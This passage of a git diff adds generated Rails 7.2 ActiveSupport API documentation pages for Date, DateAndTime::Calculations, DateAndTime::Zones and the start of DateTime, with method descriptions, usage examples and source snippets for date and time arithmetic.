Converts Date to a Time (or DateTime if necessary) with the time portion set to the end of the day (23:59:59)

+
+ + + +
+ Also aliased as: at_end_of_day +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 85
+  def end_of_day
+    in_time_zone.end_of_day
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in(seconds) + +

+ + +
+ +
+ + + + + +
+ Alias for: since +
+ + + + +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + +
+ Also aliased as: default_inspect +
+ + + +
+ Alias for: readable_inspect +
+ + + + +
+ +
+

+ + midday() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + middle_of_day() + +

+ + +
+

Converts Date to a Time (or DateTime if necessary) with the time portion set to the middle of the day (12:00)

+
+ + + +
+ Also aliased as: midday, noon, at_midday, at_noon, at_middle_of_day +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 75
+  def middle_of_day
+    in_time_zone.middle_of_day
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + midnight() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_day +
+ + + + +
+ +
+

+ + noon() + +

+ + +
+ +
+ + + + + +
+ Alias for: middle_of_day +
+ + + + +
+ +
+

+ + readable_inspect() + +

+ + +
+

Overrides the default inspect method with a human readable one, e.g., β€œMon, 21 Feb 2005”

+
+ + + +
+ Also aliased as: inspect +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/conversions.rb, line 61
+  def readable_inspect
+    strftime("%a, %d %b %Y")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + since(seconds) + +

+ + +
+

Converts Date to a Time (or DateTime if necessary) with the time portion set to the beginning of the day (0:00) and then adds the specified number of seconds

+
+ + + +
+ Also aliased as: in +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/calculations.rb, line 61
+  def since(seconds)
+    in_time_zone.since(seconds)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_formatted_s(format = :default) + +

+ + +
+ +
+ + + + + +
+ Alias for: to_fs +
+ + + + +
+ +
+

+ + to_fs(format = :default) + +

+ + +
+

Convert to a formatted string. See DATE_FORMATS for predefined formats.

+ +

This method is aliased to to_formatted_s.

+ +
date = Date.new(2007, 11, 10)       # => Sat, 10 Nov 2007
+
+date.to_fs(:db)                     # => "2007-11-10"
+date.to_formatted_s(:db)            # => "2007-11-10"
+
+date.to_fs(:short)         # => "10 Nov"
+date.to_fs(:number)        # => "20071110"
+date.to_fs(:long)          # => "November 10, 2007"
+date.to_fs(:long_ordinal)  # => "November 10th, 2007"
+date.to_fs(:rfc822)        # => "10 Nov 2007"
+date.to_fs(:iso8601)       # => "2007-11-10"
+
+ +

Adding your own date formats to to_fs

+ +

You can add your own formats to the Date::DATE_FORMATS hash. Use the format name as the hash key and either a strftime string or Proc instance that takes a date argument as the value.

+ +
# config/initializers/date_formats.rb
+Date::DATE_FORMATS[:month_and_year] = '%B %Y'
+Date::DATE_FORMATS[:short_ordinal] = ->(date) { date.strftime("%B #{date.day.ordinalize}") }
+
+
+ + + +
+ Also aliased as: to_formatted_s +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/conversions.rb, line 47
+  def to_fs(format = :default)
+    if formatter = DATE_FORMATS[format]
+      if formatter.respond_to?(:call)
+        formatter.call(self).to_s
+      else
+        strftime(formatter)
+      end
+    else
+      to_s
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_time(form = :local) + +

+ + +
+

Converts a Date instance to a Time, where the time is set to the beginning of the day. The timezone can be either :local or :utc (default :local).

+ +
date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
+
+date.to_time                   # => 2007-11-10 00:00:00 0800
+date.to_time(:local)           # => 2007-11-10 00:00:00 0800
+
+date.to_time(:utc)             # => 2007-11-10 00:00:00 UTC
+
+ +

NOTE: The :local timezone is Ruby’s process timezone, i.e. ENV['TZ']. If the application’s timezone is needed, then use in_time_zone instead.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/conversions.rb, line 81
+  def to_time(form = :local)
+    raise ArgumentError, "Expected :local or :utc, got #{form.inspect}." unless [:local, :utc].include?(form)
+    ::Time.public_send(form, year, month, day)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + xmlschema() + +

+ + +
+

Returns a string which represents the time in used time zone as DateTime defined by XML Schema:

+ +
date = Date.new(2015, 05, 23)  # => Sat, 23 May 2015
+date.xmlschema                 # => "2015-05-23T00:00:00+04:00"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date/conversions.rb, line 93
+  def xmlschema
+    in_time_zone.xmlschema
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/DateAndTime.html b/src/7.2/classes/DateAndTime.html new file mode 100644 index 0000000000..613cef0029 --- /dev/null +++ b/src/7.2/classes/DateAndTime.html @@ -0,0 +1,75 @@ +--- +title: DateAndTime +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/DateAndTime/Calculations.html b/src/7.2/classes/DateAndTime/Calculations.html new file mode 100644 index 0000000000..20492d2f4d --- /dev/null +++ b/src/7.2/classes/DateAndTime/Calculations.html @@ -0,0 +1,2404 @@ +--- +title: DateAndTime::Calculations +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
DAYS_INTO_WEEK={ +sunday: 0, +monday: 1, +tuesday: 2, +wednesday: 3, +thursday: 4, +friday: 5, +saturday: 6 +}
WEEKEND_DAYS=[ 6, 0 ]
+ + + + + + + +

Instance Public methods

+ +
+

+ + after?(date_or_time) + +

+ + +
+

Returns true if the date/time falls after date_or_time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 72
+    def after?(date_or_time)
+      self > date_or_time
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + all_day() + +

+ + +
+

Returns a Range representing the whole day of the current date/time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 310
+    def all_day
+      beginning_of_day..end_of_day
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + all_month() + +

+ + +
+

Returns a Range representing the whole month of the current date/time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 321
+    def all_month
+      beginning_of_month..end_of_month
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + all_quarter() + +

+ + +
+

Returns a Range representing the whole quarter of the current date/time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 326
+    def all_quarter
+      beginning_of_quarter..end_of_quarter
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + all_week(start_day = Date.beginning_of_week) + +

+ + +
+

Returns a Range representing the whole week of the current date/time. Week starts on start_day, default is Date.beginning_of_week or config.beginning_of_week when set.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 316
+    def all_week(start_day = Date.beginning_of_week)
+      beginning_of_week(start_day)..end_of_week(start_day)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + all_year() + +

+ + +
+

Returns a Range representing the whole year of the current date/time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 331
+    def all_year
+      beginning_of_year..end_of_year
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + at_beginning_of_month() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_month +
+ + + + +
+ +
+

+ + at_beginning_of_quarter() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_quarter +
+ + + + +
+ +
+

+ + at_beginning_of_week(start_day = Date.beginning_of_week) + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_week +
+ + + + +
+ +
+

+ + at_beginning_of_year() + +

+ + +
+ +
+ + + + + +
+ Alias for: beginning_of_year +
+ + + + +
+ +
+

+ + at_end_of_month() + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_month +
+ + + + +
+ +
+

+ + at_end_of_quarter() + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_quarter +
+ + + + +
+ +
+

+ + at_end_of_week(start_day = Date.beginning_of_week) + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_week +
+ + + + +
+ +
+

+ + at_end_of_year() + +

+ + +
+ +
+ + + + + +
+ Alias for: end_of_year +
+ + + + +
+ +
+

+ + before?(date_or_time) + +

+ + +
+

Returns true if the date/time falls before date_or_time.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 67
+    def before?(date_or_time)
+      self < date_or_time
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + beginning_of_month() + +

+ + +
+

Returns a new date/time at the start of the month.

+ +
today = Date.today # => Thu, 18 Jun 2015
+today.beginning_of_month # => Mon, 01 Jun 2015
+
+ +

DateTime objects will have a time set to 0:00.

+ +
now = DateTime.current # => Thu, 18 Jun 2015 15:23:13 +0000
+now.beginning_of_month # => Mon, 01 Jun 2015 00:00:00 +0000
+
+
+ + + +
+ Also aliased as: at_beginning_of_month +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 125
+    def beginning_of_month
+      first_hour(change(day: 1))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + beginning_of_quarter() + +

+ + +
+

Returns a new date/time at the start of the quarter.

+ +
today = Date.today # => Fri, 10 Jul 2015
+today.beginning_of_quarter # => Wed, 01 Jul 2015
+
+ +

DateTime objects will have a time set to 0:00.

+ +
now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000
+now.beginning_of_quarter # => Wed, 01 Jul 2015 00:00:00 +0000
+
+
+ + + +
+ Also aliased as: at_beginning_of_quarter +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 139
+    def beginning_of_quarter
+      first_quarter_month = month - (2 + month) % 3
+      beginning_of_month.change(month: first_quarter_month)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + beginning_of_week(start_day = Date.beginning_of_week) + +

+ + +
+

Returns a new date/time representing the start of this week on the given day. Week is assumed to start on start_day, default is Date.beginning_of_week or config.beginning_of_week when set. DateTime objects have their time set to 0:00.

+
+ + + +
+ Also aliased as: at_beginning_of_week +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 267
+    def beginning_of_week(start_day = Date.beginning_of_week)
+      result = days_ago(days_to_week_start(start_day))
+      acts_like?(:time) ? result.midnight : result
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + beginning_of_year() + +

+ + +
+

Returns a new date/time at the beginning of the year.

+ +
today = Date.today # => Fri, 10 Jul 2015
+today.beginning_of_year # => Thu, 01 Jan 2015
+
+ +

DateTime objects will have a time set to 0:00.

+ +
now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000
+now.beginning_of_year # => Thu, 01 Jan 2015 00:00:00 +0000
+
+
+ + + +
+ Also aliased as: at_beginning_of_year +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 179
+    def beginning_of_year
+      change(month: 1).beginning_of_month
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + days_ago(days) + +

+ + +
+

Returns a new date/time the specified number of days ago.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 77
+    def days_ago(days)
+      advance(days: -days)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + days_since(days) + +

+ + +
+

Returns a new date/time the specified number of days in the future.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 82
+    def days_since(days)
+      advance(days: days)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + days_to_week_start(start_day = Date.beginning_of_week) + +

+ + +
+

Returns the number of days to the start of the week on the given day. Week is assumed to start on start_day, default is Date.beginning_of_week or config.beginning_of_week when set.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 258
+    def days_to_week_start(start_day = Date.beginning_of_week)
+      start_day_number = DAYS_INTO_WEEK.fetch(start_day)
+      (wday - start_day_number) % 7
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end_of_month() + +

+ + +
+

Returns a new date/time representing the end of the month. DateTime objects will have a time set to 23:59:59.

+
+ + + +
+ Also aliased as: at_end_of_month +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 296
+    def end_of_month
+      last_day = ::Time.days_in_month(month, year)
+      last_hour(days_since(last_day - day))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end_of_quarter() + +

+ + +
+

Returns a new date/time at the end of the quarter.

+ +
today = Date.today # => Fri, 10 Jul 2015
+today.end_of_quarter # => Wed, 30 Sep 2015
+
+ +

DateTime objects will have a time set to 23:59:59.

+ +
now = DateTime.current # => Fri, 10 Jul 2015 18:41:29 +0000
+now.end_of_quarter # => Wed, 30 Sep 2015 23:59:59 +0000
+
+
+ + + +
+ Also aliased as: at_end_of_quarter +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 154
+    def end_of_quarter
+      last_quarter_month = month + (12 - month) % 3
+      beginning_of_month.change(month: last_quarter_month).end_of_month
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end_of_week(start_day = Date.beginning_of_week) + +

+ + +
+

Returns a new date/time representing the end of this week on the given day. Week is assumed to start on start_day, default is Date.beginning_of_week or config.beginning_of_week when set. DateTime objects have their time set to 23:59:59.

+
+ + + +
+ Also aliased as: at_end_of_week +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 283
+    def end_of_week(start_day = Date.beginning_of_week)
+      last_hour(days_since(6 - days_to_week_start(start_day)))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + end_of_year() + +

+ + +
+

Returns a new date/time representing the end of the year. DateTime objects will have a time set to 23:59:59.

+
+ + + +
+ Also aliased as: at_end_of_year +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 304
+    def end_of_year
+      change(month: 12).end_of_month
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + future?() + +

+ + +
+

Returns true if the date/time is in the future.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 52
+    def future?
+      self > self.class.current
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last_month() + +

+ + +
+

Short-hand for months_ago(1).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 240
+    def last_month
+      months_ago(1)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last_quarter() + +

+ + +
+ +
+ + + + + +
+ Alias for: prev_quarter +
+ + + + +
+ +
+

+ + last_week(start_day = Date.beginning_of_week, same_time: false) + +

+ + +
+ +
+ + + + + +
+ Alias for: prev_week +
+ + + + +
+ +
+

+ + last_weekday() + +

+ + +
+ +
+ + + + + +
+ Alias for: prev_weekday +
+ + + + +
+ +
+

+ + last_year() + +

+ + +
+

Short-hand for years_ago(1).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 251
+    def last_year
+      years_ago(1)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + monday() + +

+ + +
+

Returns Monday of this week assuming that week starts on Monday. DateTime objects have their time set to 0:00.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 275
+    def monday
+      beginning_of_week(:monday)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + months_ago(months) + +

+ + +
+

Returns a new date/time the specified number of months ago.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 97
+    def months_ago(months)
+      advance(months: -months)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + months_since(months) + +

+ + +
+

Returns a new date/time the specified number of months in the future.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 102
+    def months_since(months)
+      advance(months: months)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + next_day?() + +

+ + +
+ +
+ + + + + +
+ Alias for: tomorrow? +
+ + + + +
+ +
+

+ + next_occurring(day_of_week) + +

+ + +
+

Returns a new date/time representing the next occurrence of the specified day of week.

+ +
today = Date.today               # => Thu, 14 Dec 2017
+today.next_occurring(:monday)    # => Mon, 18 Dec 2017
+today.next_occurring(:thursday)  # => Thu, 21 Dec 2017
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 340
+    def next_occurring(day_of_week)
+      from_now = DAYS_INTO_WEEK.fetch(day_of_week) - wday
+      from_now += 7 unless from_now > 0
+      advance(days: from_now)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + next_quarter() + +

+ + +
+

Short-hand for months_since(3).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 215
+    def next_quarter
+      months_since(3)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + next_week(given_day_in_next_week = Date.beginning_of_week, same_time: false) + +

+ + +
+

Returns a new date/time representing the given day in the next week.

+ +
today = Date.today # => Thu, 07 May 2015
+today.next_week    # => Mon, 11 May 2015
+
+ +

The given_day_in_next_week defaults to the beginning of the week which is determined by Date.beginning_of_week or config.beginning_of_week when set.

+ +
today = Date.today       # => Thu, 07 May 2015
+today.next_week(:friday) # => Fri, 15 May 2015
+
+ +

DateTime objects have their time set to 0:00 unless same_time is true.

+ +
now = DateTime.current # => Thu, 07 May 2015 13:31:16 +0000
+now.next_week      # => Mon, 11 May 2015 00:00:00 +0000
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 200
+    def next_week(given_day_in_next_week = Date.beginning_of_week, same_time: false)
+      result = first_hour(weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week)))
+      same_time ? copy_time_to(result) : result
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + next_weekday() + +

+ + +
+

Returns a new date/time representing the next weekday.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 206
+    def next_weekday
+      if next_day.on_weekend?
+        next_week(:monday, same_time: true)
+      else
+        next_day
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + on_weekday?() + +

+ + +
+

Returns true if the date/time does not fall on a Saturday or Sunday.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 62
+    def on_weekday?
+      !WEEKEND_DAYS.include?(wday)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + on_weekend?() + +

+ + +
+

Returns true if the date/time falls on a Saturday or Sunday.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 57
+    def on_weekend?
+      WEEKEND_DAYS.include?(wday)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + past?() + +

+ + +
+

Returns true if the date/time is in the past.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 47
+    def past?
+      self < self.class.current
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prev_day?() + +

+ + +
+ +
+ + + + + +
+ Alias for: yesterday? +
+ + + + +
+ +
+

+ + prev_occurring(day_of_week) + +

+ + +
+

Returns a new date/time representing the previous occurrence of the specified day of week.

+ +
today = Date.today               # => Thu, 14 Dec 2017
+today.prev_occurring(:monday)    # => Mon, 11 Dec 2017
+today.prev_occurring(:thursday)  # => Thu, 07 Dec 2017
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 351
+    def prev_occurring(day_of_week)
+      ago = wday - DAYS_INTO_WEEK.fetch(day_of_week)
+      ago += 7 unless ago > 0
+      advance(days: -ago)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prev_quarter() + +

+ + +
+

Short-hand for months_ago(3).

+
+ + + +
+ Also aliased as: last_quarter +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 245
+    def prev_quarter
+      months_ago(3)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prev_week(start_day = Date.beginning_of_week, same_time: false) + +

+ + +
+

Returns a new date/time representing the given day in the previous week. Week is assumed to start on start_day, default is Date.beginning_of_week or config.beginning_of_week when set. DateTime objects have their time set to 0:00 unless same_time is true.

+
+ + + +
+ Also aliased as: last_week +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 223
+    def prev_week(start_day = Date.beginning_of_week, same_time: false)
+      result = first_hour(weeks_ago(1).beginning_of_week.days_since(days_span(start_day)))
+      same_time ? copy_time_to(result) : result
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prev_weekday() + +

+ + +
+

Returns a new date/time representing the previous weekday.

+
+ + + +
+ Also aliased as: last_weekday +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 230
+    def prev_weekday
+      if prev_day.on_weekend?
+        copy_time_to(beginning_of_week(:friday))
+      else
+        prev_day
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + quarter() + +

+ + +
+

Returns the quarter for a date/time.

+ +
Date.new(2010, 1, 31).quarter  # => 1
+Date.new(2010, 4, 12).quarter  # => 2
+Date.new(2010, 9, 15).quarter  # => 3
+Date.new(2010, 12, 25).quarter # => 4
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 166
+    def quarter
+      (month / 3.0).ceil
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sunday() + +

+ + +
+

Returns Sunday of this week assuming that week starts on Monday. DateTime objects have their time set to 23:59:59.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 290
+    def sunday
+      end_of_week(:monday)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + today?() + +

+ + +
+

Returns true if the date/time is today.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 30
+    def today?
+      to_date == ::Date.current
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tomorrow() + +

+ + +
+

Returns a new date/time representing tomorrow.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 25
+    def tomorrow
+      advance(days: 1)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tomorrow?() + +

+ + +
+

Returns true if the date/time is tomorrow.

+
+ + + +
+ Also aliased as: next_day? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 35
+    def tomorrow?
+      to_date == ::Date.current.tomorrow
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + weeks_ago(weeks) + +

+ + +
+

Returns a new date/time the specified number of weeks ago.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 87
+    def weeks_ago(weeks)
+      advance(weeks: -weeks)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + weeks_since(weeks) + +

+ + +
+

Returns a new date/time the specified number of weeks in the future.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 92
+    def weeks_since(weeks)
+      advance(weeks: weeks)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + years_ago(years) + +

+ + +
+

Returns a new date/time the specified number of years ago.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 107
+    def years_ago(years)
+      advance(years: -years)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + years_since(years) + +

+ + +
+

Returns a new date/time the specified number of years in the future.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 112
+    def years_since(years)
+      advance(years: years)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + yesterday() + +

+ + +
+

Returns a new date/time representing yesterday.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 20
+    def yesterday
+      advance(days: -1)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + yesterday?() + +

+ + +
+

Returns true if the date/time is yesterday.

+
+ + + +
+ Also aliased as: prev_day? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/calculations.rb, line 41
+    def yesterday?
+      to_date == ::Date.current.yesterday
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/DateAndTime/Compatibility.html b/src/7.2/classes/DateAndTime/Compatibility.html new file mode 100644 index 0000000000..4a561708ac --- /dev/null +++ b/src/7.2/classes/DateAndTime/Compatibility.html @@ -0,0 +1,54 @@ +--- +title: DateAndTime::Compatibility +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/DateAndTime/Zones.html b/src/7.2/classes/DateAndTime/Zones.html new file mode 100644 index 0000000000..36a9fd8115 --- /dev/null +++ b/src/7.2/classes/DateAndTime/Zones.html @@ -0,0 +1,121 @@ +--- +title: DateAndTime::Zones +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + in_time_zone(zone = ::Time.zone) + +

+ + +
+

Returns the simultaneous time in Time.zone if a zone is given or if Time.zone_default is set. Otherwise, it returns the current time.

+ +
Time.zone = 'Hawaii'        # => 'Hawaii'
+Time.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+Date.new(2000).in_time_zone # => Sat, 01 Jan 2000 00:00:00 HST -10:00
+
+ +

This method is similar to Time#localtime, except that it uses Time.zone as the local zone instead of the operating system’s time zone.

+ +

You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument, and the conversion will be based on that zone instead of Time.zone.

+ +
Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+Date.new(2000).in_time_zone('Alaska') # => Sat, 01 Jan 2000 00:00:00 AKST -09:00
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/date_and_time/zones.rb, line 20
+    def in_time_zone(zone = ::Time.zone)
+      time_zone = ::Time.find_zone! zone
+      time = acts_like?(:time) ? self : nil
+
+      if time_zone
+        time_with_zone(time, time_zone)
+      else
+        time || to_time
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/DateTime.html b/src/7.2/classes/DateTime.html new file mode 100644 index 0000000000..4e2858ae55 --- /dev/null +++ b/src/7.2/classes/DateTime.html @@ -0,0 +1,2088 @@ +--- +title: DateTime +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + civil_from_format(utc_or_local, year, month = 1, day = 1, hour = 0, min = 0, sec = 0) + +

+ + +
+

Returns DateTime with local offset for given year if format is local else offset is zero.

+ +
